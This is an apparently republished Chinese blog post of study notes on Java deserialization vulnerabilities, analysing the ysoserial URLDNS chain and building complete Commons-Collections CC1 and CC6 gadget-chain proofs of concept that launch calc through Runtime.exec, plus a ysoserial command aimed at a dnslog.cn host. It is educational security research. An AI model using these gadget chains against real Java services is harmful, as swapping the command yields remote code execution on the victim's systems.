【学习笔记】Java安全之反序列化

文章目录

  • 反序列化方法的对比
    • PHP的反序列化
    • Java的反序列化
    • Python反序列化
  • URLDNS链
    • 利用链分析
    • 触发DNS请求
  • CommonCollections1利用链
  • 利用TransformedMap构造POC
  • 利用LazyMap构造POC
  • CommonsCollections6 利用链

最近在学习Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记

众所周知,一门成熟的语言,如果需要在网络上传递信息,通常会用到一些格式化数据,比如:

  • JSON
  • XML

JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端JavaScript通过JSON和后端服务通信、微信服务通过XML和公众号服务器通信,但这两个数据格式都不支持复杂的数据类型

大多数处理方法种,JSON和XML支持的数据类型就是基本数据类型、整形、浮点型、字符串、布尔等,如果开发者希望在数据传输的时候直接传输一个对象,就需要想办法扩展基础的JSON、XML语法

比如,Jackson和Fastjson这类序列化库,在JSON、XML的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对象转换成一串字节流进行传输。无论是Jackson、Fastjson还是编程语言内置的序列化方法,一旦涉及到序列化与反序列化数据,就可能涉及到安全问题。

但首先要理解的是“反序列化漏洞”是对一类漏洞的泛指,并不是专指某种反序列化方法导致的漏洞,比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。

反序列化方法的对比

Java的反序列化和PHP的反序列化有点类似,它们都是将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。
但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法writeObject,允许开发者将序列化数据流中插入一些自定义数据,进而在反序列化的时候能够使用使用readObject进行提取。

当然,PHP也提供了一个魔术方法__wakeup,在反序列化的时候进行触发。很多人会认为Java的readObject和PHP的__wakeup类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异。

Java设计readObject的思路和PHP的__wakeup不同点在于:readObject倾向于解决反序列化时如何还原一个完整的对象,而PHP的__wakeup更倾向于解决反序列化后如何初始化这个对象

PHP的反序列化

关于PHP反序列化可以看我的这篇文章:由浅入深理解PHP反序列化漏洞

PHP的序列化是开发者不能参与的,开发者调用serialize函数后,序列化的数据就已经完成了,得到的是一个完整的对象,并不能在序列化数据流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中,也就是说PHP的序列化,、反序列化是一个纯内部的过程,而其__sleep__wakeup魔术方法的目的就是在序列化、反序列化的前后执行一些操作。

含有资源类型的PHP类,如数据库连接,在PHP中资源类型的对象默认是不会写入序列化数据中的,__wakeup的作用是在反序列化后执行一些初始化操作,但是其实我们很少利用序列化数据传递资源类型的对象,而其他类型的对象,在反序列化的时候就已经赋予其值了。

所以你会发现,PHP的反序列化漏洞,很少是由__wakeup这个方法出发的,通常触发在析构函数__destruct中,大部分的PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。

Java的反序列化

Java反序列化的操作,很多是需要开发者深入参与的,大量的库都会实现readObjectwriteObject方法,这和PHP中的__wakeup__sleep很少使用是存在鲜明对比的。

Java在序列化一个对象时,将会调用这个对象中的个writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入这个流当中,反序列化时会调用readObject,开发者也可以从中读取前面写入的内容,并进行处理。举个例子

package StudyUnserialiation;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Person implements java.io.Serializable {
    public String name;
    public int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void writeObject(ObjectOutputStream s) throws Exception {
        s.defaultWriteObject();
        s.writeObject("This is Object");
    }

    private void readObject(ObjectInputStream s) throws Exception {
        s.defaultReadObject();
        s.readObject();
        String message = (String) s.readObject();
        System.out.println(message);
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

然后序列化这个类即可

package StudyUnserialiation;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws IOException {
        Person p = new Person("mochu7", 22);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));
        oos.writeObject(p);
    }
}

将这段序列化数据提取出来编码成十六进制字符串,然后用SerializationDumper查看序列化数据

PS D:\Tools\Web\Other> python
Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 22:45:29) [MSC v.1916 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> with open('C:\\Users\Administrator\Downloads\serialize_data', 'rb') as f:
...      print(bytes.hex(f.read()))
...
aced00057372001a5374756479556e73657269616c696174696f6e2e506572736f6ee41761c0bf3f16c20300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b7870000000167400066d6f6368753774000e54686973206973204f626a65637478

在这里插入图片描述

This is Object这串字符写入了objectAnnotation

package StudyUnserialiation;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Test1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));
        Person person = (Person) ois.readObject();
        System.out.println(person);
    }
}

反序列化时会读取这串字符,并输出

在这里插入图片描述
这个特性就使得Java的开发变得非常灵活,比如后面将会讲到的HashMap,其实就是将Map中的所有键、值存储在objectAnnotation中,而并不是某个具体属性里。

package StudyUnserialiation;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;

public class HashMapSerialize {
    public static void main(String[] args) {
        HashMap<String, Integer> map = new HashMap<>();
        map.put("iPhone14 ProMax", 8849);
        map.put("Huawei Mate50Pro", 5969);
        map.put("xiaomi13", 4299);
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data1"));
            oos.writeObject(map);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

Python反序列化

Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机,我们可以向栈上增删对象,也可以执行一些指令,比如函数的执行,甚至可以用这个虚拟机执行一个完整的应用程序。

所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。

从危害上看,Python的反序列化危害是最大的,从应用广度上来看,Java的反序列化是最常被用到的,从反序列化的原理上看,PHP和Java是类似又不尽相同的。

URLDNS链

URLDNS是ysoserial中一个利用链的名字,但准确的来说,这个其实不能称作利用链。称为触发链可能更准确一点,因为其参数不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。

虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

URLDNS链在ysoserial中的源码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

SilentURLStreamHandler是ysoserial自定义的一个继承于URLStreamHandler子类,其中重写了openConnectiongetHostAddress方法,将它们的返回置空,避免在payload创建期间进行DNS解析。首先是实例化的SilentURLStreamHandler生成handler,其次用handler与url生成一个URL对象,然后使用HashMap将URL对象以及url放入其中。ysoserial会通过调用getObject方法获得Payload,该Payload也就是Hashmap被序列化后的对象。

利用链分析

触发反序列化的方法是HashMapreadObject,那么我们就先从HashMap类的readObject方法开始分析:

HashMapreadObject方法源码(jdk1.8.0_341):

根据ysoserial中的注释解释:

During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.,是HashCode方法中的计算操作触发了DNS请求。

readObject()方法中putVal()将传入的键名传给了hash()

在这里插入图片描述

hash方法调用了key的hashCode()

在这里插入图片描述

传入的key是java.net.URL对象,查看java.net.URL类的源码,找到hashCode()方法,handler是URLStreamHandler对象,这里判断了hashCode是否!=-1

在这里插入图片描述

如果(hashCode != -1) == true就不会调用handler.hashCode(),这也就是URLDNS中要使用反射修改Java.net.URL的hashCode属性的原因:Reflections.setFieldValue(u, "hashCode", -1);,如果这里不使用反射修改该类的属性,这一步就无法到handler.hashCode(),继续跟进这里handler的hashCode()方法。这里有调用getHostAddress()

在这里插入图片描述
继续跟进getHostAddress(u)

在这里插入图片描述

再跟进

在这里插入图片描述

其中的InetAddress.getByName(host);就是对传入的主机名解析IP,如果传入的是公网域名就会访问进行DNS请求解析IP。因此URLDNS利用链可以造成一次DNS请求。使用ysoserial生成URLDNS利用链的对象(Payload),然后反序列化触发该利用链造成一次DNS请求解析。

URLDNS利用链的完整Gadget:HashMap->readObject()->hash()->URL.hashCode()->URLStreamHandler.hashCode()->getHostAddress()->InetAddress.getByName()

构造该Gadget,需要初始化一个java.net.URL对象,将其作为key存入HashMap的键名中,然后使用反射修改这个URL类对象的hashCode()的值为-1,使其在反序列化时会重新计算hashCode(),进而触发之后的DNS请求,而在初始化java.net.URL对象时,为了防止生成该对象时也执行URL请求和DNS解析,所以重写了一个子类(SilentURLStreamHandler),但这并不是必须的,只是为了防止影响Dnslog平台查验。

触发DNS请求

接下来首先使用ysoserial生成payload,DNS测试平台就是用常用的DNSlog

注意:Windows平台下请使用cmd来运行,PS运行导出的序列化字节流数据格式有误

java -jar ysoserial-all.jar URLDNS "http://ps4nzt.dnslog.cn" > urldns_payload

然后反序列化调用readObject()触发即可

在这里插入图片描述
执行完之后Dnslog平台就可以查看到DNS请求
在这里插入图片描述

CommonCollections1利用链

Commons-Collections是Apache基金会开发的一个Java开源库,提供了一组高效的数据结构和算法实现,扩展了Java的集合框架,使得用户更方便地处理集合数据,该库还包含了大量的类和接口,而Common-Collections利用链是Java反序列化漏洞研究中必不可少的一环。

首先来看个CC1链的小Demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("name", "mochu7");
    }
}
  • TransformedMap类:
            TransformedMapCommons Collections中的一个类,它实现了java.util.Map接口,并允许用户指定一个转换函数来对Map中的元素进行转换。具体来说,TransformedMap会将所有读取操作(例如getcontainsKey等)传递给基础Map对象,但在写入操作(例如putremove等)时,会先将键值对应用于指定的转换函数,然后再执行写入操作。
            这个转换函数是任何实现了org.apache.commons.collections4.Transformer接口的类,因此就使得TransformedMap非常灵活,可以方便地对Map中的元素进行转换。同时需要注意,由于TransformedMap仅仅是一个包装器类,所以它对基础Map对象的修改也会影响到原始的Map对象。

  • Transformer:
    Transformer只是一个接口,它只有待实现的transform方法,参数就是Object对象。

public interface Transformer {
    Object transform(Object var1);
}
  • ConstantTransformer:
    ConstantTransformer是实现了Transformer接口的一个类,在构造器接收一个对象然后在transform方法返回这个对象,进行一个包装任意对象的处理。

  • InvokerTransformer:
    InvokerTransformer也是实现了Transformer接口的一个类,有参构造器第一个参数是执行的方法名,第二个参数是参数列表的类型,第三个参数是参数列表,然后回调transform方法,使用反射执行了input对象的iMethodName方法。

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
  • ChainedTransformer:
    ChainedTransformer也是实现了Transformer接口的类,它将内部的所有Transformer连接在一起进行遍历,将上一个回调返回的结果作为下一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
  }

在这里插入图片描述

通过以上几个类的分析,即可理解该Demo的原理,首先新建了个Transformer数组,用于存放两个Transformer,第一个是ConstantTransformer,这会直接返回传入的Runtime对象;第二个是InvokerTransformer,反射执行Runtime对象的exec方法,参数是calc。再将这个Transformer数组传给ChainedTransformer,通过回调会将Runtime的对象传给InvokerTransformer,执行Runtime对象的exec方法。

但是这个transfomerChain只是回调,要触发需要使用TransformedMap.decorate来包装,然后使用putremove来触发。

在这里插入图片描述

利用TransformedMap构造POC

上文探讨了Commons-CollectionsTransformer,并且使用了一个Demo作为例子,在Demo中是以outerMap.put("name", "mochu7")来触发漏洞,但是在反序列化时是需要一个类。该类在反序列化时readObject方法有类似的写入处理,就是sun.reflect.annotation.AnnotationInvocationHandler类,核心源码(jdk<=8u66):

private void readObject(java.io.ObjectInputStream s){
        ...
   Map<String, Class<?>> memberTypes = annotationType.memberTypes();
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
          String name = memberValue.getKey();
          Class<?> memberType = memberTypes.get(name);
          if (memberType != null) {
              Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));}}}}

memberValues就是经过了TransformedMap修饰的对象,也是反序列化之后的Map,然后遍历,依次设置值调用setValue时会触发TransformedMap中的Transform,进而进入到上文提到的利用链导致命令执行。因此构造POC时需要创建一个AnnotationInvocationHandler对象,然后将上文的利用链中的HashMap传入,并且这个AnnotationInvovationHandler是内置类,不能直接使用常规方法获取对象,因此这里使用反射获取构造方法,然后强制访问再调用实例化。

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
Construct.setAccessible(true);
Object obj = construct.newInstance(Retention.clas, outerMap);

然后将整个过程梳理,形成一个完整的链子,尝试执行,输出了以下报错

在这里插入图片描述

报的是不可序列化的错误,而这里序列化的是ConstantTransformer中的Runtime.getRuntime()对象,而Runtime是没有实现java.io.Serializeable接口的,因此无法序列化。在前面的反射篇章中,有介绍可以通过反射直接获取对象,而不需要直接使用这个类。

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");

使用这种方法反射的好处就是将原来没有实现序列化接口的Java.lang.Runtime类,换成了Java.lang.Class对象,而Java.lang.Class类对象是实现了Serializable接口的,因此可以序列化。但是更换Transformer调用Runtime的方法之后还是无法执行命令。

在这里插入图片描述

查看AnnotationInvocationHandler类的反编译代码,在readObject()方法下,如果要进入setValue()触发构造的Transfomers,有一个if(var7!=null)的判断,在这里下个断点动态调式,查看运行后var7的值是否为null

在这里插入图片描述

回到AnnotationInvocationHandler的有参构造方法

在这里插入图片描述

可以看到要使得var1var2的值不为nullAnnotationInvocationHandler的第一个参数必须是Annotation类型,并且需要有一个方法,如果这个方法名为X,那么被TransformedMap.decorate修饰的Map的键名也必须为X才能触发,正是因为如此,上文使用反射获取AnnotationInvocationHandler获取有参构造器,生成对象时传入的第一个参数是Retention.class,因为Retention中有一个value方法,因此修改innerMap.put("value", "mochu7");的键名也为value

在这里插入图片描述

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",  new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "mochu7");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

注意:该方法只针对Jdk<=8u66的版本有效,8u71开始,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法,不再继续使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。因此,后续对Map的操作全都是基于这个新的LinkedHashMap对象,不需要再使用构造的Ma执行setput处理,因此也就不会触发RCE了。

利用LazyMap构造POC

LazyMapTransformedMap类似,都来自于Apache Commons Collections库,LazyMap是一个需要时动态生成值的映射表。它通过延迟来加载提高性能,只有在首次访问时才会计算和存储值。LazyMap通常适用于处理大量数据的情况,可以节省计算资源。TransformedMap是在写入元素的时候执行构造好的transforms,而LazyMap是在它的get方法中执行factory.transform,当寻找不到key值时会调用factory.transform获取一个值。

在这里插入图片描述

LazyMap利用比TransformedMap的利用过程稍微复杂一点,TransformedMap是在AnntationInvocationHandlerreadObject方法中就有setValue会触发到构造好的transforms,而readObject中并没有调用到Mapget方法。但是AnnotationInvocationHandler类的invoke方法有调用到get方法

在这里插入图片描述

那么下一步就是想办法调用到AnnotationInvocationHandler下的invoke方法,想要劫持对象内部的方法调用,最合适不过的是使用Java的动态代理中的对象代理。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

第一个参数是ClassLoader,使用默认的即可;第二个参数是代理的对象集合;第三个参数是实现了InvocationHandler接口的对象,是代理对象的核心处理程序。
编写一个ExampleInvocationHandler类,重写invoke方法,它的作用是当检测到该对象调用了get方法,就返回一串字符。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map) {this.map = map;}

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if(method.getName().compareTo("get") == 0) {
            System.out.println("Hook Method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

然后在外部调用ExampleInvocationHandler,存入一组数据,然后get获取

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("name", "mochu7");
        String result = (String) proxyMap.get("name");
        System.out.println(result);
    }
}

在这里插入图片描述

而如果对sun.reflect.annotation.AnnotationInvocationHandler类的对象用Proxy代理,在readObject时,只要调用任何一个方法,就会触发进入到AnnotationInvocationHandlerinvoke方法,最后触发LazyMapget方法。

因此,LazyMap的利用链的构造过程就产生了,在原有的TransformedMap的POC的基础进行修改,首先将原来的TransformedMap替换为LazyMap,然后对sun.reflect.annotation.AnnotationInvocationHandler类的对象进行代理。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

代理之后还不能直接序列化,因为利用链的入口点在sun.reflect.annotation.AnnotationInvocationHandler的readObject(),因此还需要使用AnnotationInvocationHandlerproxyMap进行处理。

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最终构造如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",  new Class[]{String.class}, new String[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

在这里插入图片描述

CommonsCollections6 利用链

上文详细分析了LazyMap的利用链并构造了POC,但是LazyMap的利用链仍然无法解决CommonCollections1的利用链在高版本的Java(jdk>=8u71)中无法使用的问题。CommonsCollections6在jdk7、8的高版本中的利用链是比较通用的利用链。
以下是这条链的利用过程:

java.io.ObjectInputStream.readObject() -> java.util.HashMap.readObject() -> 
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() -> 
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() -> 
org.apache.commons.collections.map.LazyMap.get() -> 
org.apache.commmons.collections.functors.ChainedTransformer.transform() -> 
org.apache.commons.collections.functors.InvokerTransformer.transform() -> 
java.lang.reflect.Method.invoke() -> java.lang.Runtime.exec()

LazyMap.get()Runtime.exec()上文已经详细分析过了,因此要解决在Java高版本中的利用问题,就需要寻找还有哪些地方调用了LazyMap.get()这个方法,可以看到org.apache.commons.collections.keyvalue.TiedMapEntry中的getValue()调用了this.map.get(),并且在hashCode()中调用了getValue()

在这里插入图片描述

继续追踪哪里调用了TiedMapEntry.hashCode(),也就是追踪哪里调用了HashMap.hash(),在HashMap.readObject()中可以看到调用了hash(key)

在这里插入图片描述

而在hash()方法中调用了key.hashCode(),因此只需要将TiedMapEntry对象赋值给这里的key,既可组成一个完整的Gadget。构造LazyMap,包装transformerChainouterMap,然后将其作为TiedMapEntrymap属性。

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "MyKey");

这里为了避免本地调试触发命令执行,构造LazyMap使用的是一个普通的Transformers对象,必要时需要Payload再把真正的Transformers放进去。接下来为了调用TiedMapEntry.hashCode(),将tiedMapEntry对象作为HashMapkey存入一个新的HashMap。最后,将这个新的HashMap对象序列化即可,在此之前需要通过反射,将真正的Transformers数组对象。

Map myMap = new HashMap();
myMap.put(tiedMapEntry, "MyValue");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(tramformerChain, transformers);

在这里插入图片描述

运行之后并没有执行命令,单步调试查看问题,发现问题在LazyMap.get()方法中

在这里插入图片描述

有个if会判断Map中是否有key,如果否才进入到触发Transformers数组对象的步骤,在创建TiedMapEntry时,放入了一个MyKey,但是TiedMapEntry并不会修改outerMap,关键问题就出在myMap.put(tiedMapEntry, "MyValue")HashMap.put()方法中也有hash(key)的操作。导致LazyMap的利用链提前被调用了一次,所以需要对outerMapkey值进行remove处理:outerMap.remove("MyKey")

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {
          new ConstantTransformer(1)
        };

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",  new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "MyKey");
        Map myMap = new HashMap();
        myMap.put(tiedMapEntry, "MyValue");
        outerMap.remove("MyKey");

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(myMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

在这里插入图片描述

这个利用链可以在Java7和8高版本触发,没有版本限制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/59378.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

分布式限流方案及实现

优质博文&#xff1a;IT-BLOG-CN 一、限流的作用和意义 限流是对高并发访问进行限制&#xff0c;限速的过程。通过限流来限制资源&#xff0c;可以提高系统的稳定性和可靠性&#xff0c;控制系统的负载&#xff0c;削峰填谷&#xff0c;保证服务质量。 服务限流后的常见处理…

电动汽车设计、制造、研发的学科、技术和前沿科技综述

引言&#xff1a;电动汽车作为替代传统燃油汽车的一种先进交通工具&#xff0c;不仅具有环保、低噪音等优势&#xff0c;而且对于能源消耗和气候变化等全球性问题也具有重要意义。本文将综述与电动汽车设计、制造、研发相关的学科、技术和前沿科技&#xff0c;以期对电动汽车领…

MATLAB /Simulink 快速开发STM32(使用st官方工具 STM32-MAT/TARGET),以及开发过程

配置好环境以后就是开发&#xff1a; stm32cube配置芯片&#xff0c;打开matlab添加ioc文件&#xff0c;写处理逻辑&#xff0c;生成代码&#xff0c;下载到板子中去。 配置需要注意事项&#xff1a; STM32CUBEMAX6.5.0 MABLAB2022BkeilV5.2 Matlab生成的代码CTRLB 其中关键的…

海外版金融理财系统源码 国际投资理财系统源码 项目投资理财源码

海外版金融理财系统源码 国际投资理财系统源码 项目投资理财源码

iPhone 8 Plus透明屏应用范围详解

iPhone 8 Plus是苹果公司于2017年推出的一款智能手机&#xff0c;它采用了全新的玻璃机身设计&#xff0c;支持无线充电&#xff0c;并且搭载了更强大的A11仿生芯片。 而透明屏则是一种新型的屏幕技术&#xff0c;可以使手机屏幕呈现出透明的效果。 透明屏是一种将屏幕背后的元…

百度智能云“千帆大模型平台”最新升级:接入Llama 2等33个模型!

今年3月&#xff0c;百度智能云推出“千帆大模型平台”。作为全球首个一站式的企业级大模型平台&#xff0c;千帆不但提供包括文心一言在内的大模型服务及第三方大模型服务&#xff0c;还提供大模型开发和应用的整套工具链&#xff0c;能够帮助企业解决大模型开发和应用过程中的…

在Ruoyi中采用Ajax动态生成Echarts图表实践

前言 在之前博文中&#xff0c;我们讲解了如何使用java在后台进行Echarts的图表生成组件&#xff0c;博文如下&#xff1a; 序号 博客连接1一款基于JAVA开发的Echarts后台生成框架2Ruoyi单体项目与Echarts4.2.1地图集成时的思路及解决办法3解决Ruoyi单体版本集成Echarts多图表时…

RocketMQ生产者和消费者都开启Message Trace后,Consume Message Trace没有消费轨迹

一、依赖 <dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-spring-boot-starter</artifactId><version>2.0.3</version> </dependency>二、场景 1、生产者和消费者所属同一个程序 2、生产者开启消…

Xcode protobuf2.5添加arm64编译器补丁生成静态库

